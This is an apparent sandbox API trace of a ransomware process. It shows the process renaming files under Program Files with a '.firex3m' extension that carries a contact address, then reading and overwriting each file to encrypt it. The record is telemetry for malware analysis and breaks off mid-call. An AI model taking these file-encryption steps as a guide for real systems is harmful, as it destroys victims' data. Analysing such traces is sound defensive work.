[0235.719] GetProcessHeap () returned 0x630000 [0235.719] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fd8) returned 0x6fe3bb0 [0235.719] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\vine.scale-140.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\vine.scale-140.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.734] Sleep (dwMilliseconds=0x1) [0235.874] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html", len=0x6f | out: pbstr=0x5afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html") returned 1 [0235.874] GetProcessHeap () returned 0x630000 [0235.874] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fa0) returned 0x6fe3bb0 [0235.874] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0236.690] CloseHandle (hObject=0x608) returned 1 [0236.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.690] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f40 [0236.717] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0236.717] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0236.718] GetProcessHeap () returned 0x630000 [0236.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x73674c0 [0236.718] GetProcessHeap () returned 0x630000 [0236.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x7370550 [0236.718] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.718] ReadFile (in: hFile=0x608, lpBuffer=0x73674c0, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x73674c0*, lpNumberOfBytesRead=0x5afff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.590] GetProcessHeap () returned 0x630000 [0242.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c300 [0242.590] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.590] WriteFile (in: hFile=0x608, lpBuffer=0x7370550*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7370550*, lpNumberOfBytesWritten=0x5afff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.590] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.590] WriteFile (in: hFile=0x608, lpBuffer=0x73795af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x73795af*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.591] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.591] WriteFile (in: hFile=0x608, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.591] CloseHandle (hObject=0x608) returned 1 [0242.591] GetProcessHeap () returned 0x630000 [0242.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7370550 | out: hHeap=0x630000) returned 1 [0242.594] GetProcessHeap () returned 0x630000 [0242.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73674c0 | out: hHeap=0x630000) returned 1 [0242.595] GetProcessHeap () returned 0x630000 [0242.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c300 | out: hHeap=0x630000) returned 1 [0243.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x568aae10, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0xa807496, dwReserved1=0x73674b8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5280 [0243.128] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0243.128] Sleep (dwMilliseconds=0x1) [0244.229] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileWide.scale-100.png", len=0x87 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileWide.scale-100.png") returned 1 [0244.229] GetProcessHeap () returned 0x630000 [0244.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f10) returned 0x6fe3bb0 [0244.238] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.245] Sleep (dwMilliseconds=0x1) [0246.125] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF", len=0x6e | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF") returned 1 [0246.125] GetProcessHeap () returned 0x630000 [0246.125] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e3c) returned 0x6fe3bb0 [0246.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0246.168] CloseHandle (hObject=0x674) returned 1 [0246.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc442d119, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b82a8, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="OFFICE.ODF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5200 [0246.171] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0246.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0246.171] GetProcessHeap () returned 0x630000 [0246.172] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x737dca0 [0246.172] GetProcessHeap () returned 0x630000 [0246.172] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7001850 [0246.172] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.172] ReadFile (in: hFile=0x674, lpBuffer=0x737dca0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x737dca0*, lpNumberOfBytesRead=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.502] GetProcessHeap () returned 0x630000 [0252.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0252.503] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.503] WriteFile (in: hFile=0x674, lpBuffer=0x7001850*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesWritten=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.503] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.503] WriteFile (in: hFile=0x674, lpBuffer=0x700cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc4f*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.675] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.675] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.675] CloseHandle (hObject=0x674) returned 1 [0253.675] GetProcessHeap () returned 0x630000 [0253.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0253.675] GetProcessHeap () returned 0x630000 [0253.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x737dca0 | out: hHeap=0x630000) returned 1 [0253.680] GetProcessHeap () returned 0x630000 [0253.680] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0254.417] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5d256e29, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b82cc, dwReserved0=0xa807496, dwReserved1=0x737dc98, cFileName="OFFICE.ODF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5040 [0254.417] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0254.418] Sleep (dwMilliseconds=0x1) [0254.447] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-100.png", len=0xa4 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-100.png") returned 1 [0254.447] GetProcessHeap () returned 0x630000 [0254.447] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e10) returned 0x6fe3bb0 [0254.447] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.461] Sleep (dwMilliseconds=0x1) [0255.821] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.INF", len=0x6e | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.INF") returned 1 [0255.821] GetProcessHeap () returned 0x630000 [0255.821] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d18) returned 0x6fe3bb0 [0255.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0257.707] CloseHandle (hObject=0x3f8) returned 1 [0257.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\journal.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\journal.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b5591d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="JOURNAL.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JOURNA~1.FIR")) returned 0x6d5200 [0257.714] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0257.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\journal.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0257.715] GetProcessHeap () returned 0x630000 [0257.715] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d2558 [0257.715] GetProcessHeap () returned 0x630000 [0257.715] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d2780 [0257.715] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.715] ReadFile (in: hFile=0x714, lpBuffer=0x6d2558, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2558*, lpNumberOfBytesRead=0x5afff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0257.717] GetProcessHeap () returned 0x630000 [0257.717] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0257.718] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.718] WriteFile (in: hFile=0x714, lpBuffer=0x6d2780*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2780*, lpNumberOfBytesWritten=0x5afff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0257.718] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.718] WriteFile (in: hFile=0x714, lpBuffer=0x6d295f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d295f*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.719] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.719] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.719] CloseHandle (hObject=0x714) returned 1 [0257.719] GetProcessHeap () returned 0x630000 [0257.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d2780 | out: hHeap=0x630000) returned 1 [0257.719] GetProcessHeap () returned 0x630000 [0257.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d2558 | out: hHeap=0x630000) returned 1 [0257.719] GetProcessHeap () returned 0x630000 [0257.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0257.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\JOURNAL.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f8f9d24, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x217, dwReserved0=0x5affd20, dwReserved1=0x6d2558, cFileName="JOURNAL.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JOURNA~1.FIR")) returned 0x6d5500 [0257.719] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0257.719] Sleep (dwMilliseconds=0x1) [0257.759] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.ELM", len=0x6e | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.ELM") returned 1 [0257.759] GetProcessHeap () returned 0x630000 [0257.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca8) returned 0x6fe3bb0 [0257.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0257.760] CloseHandle (hObject=0x42c) returned 1 [0257.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft 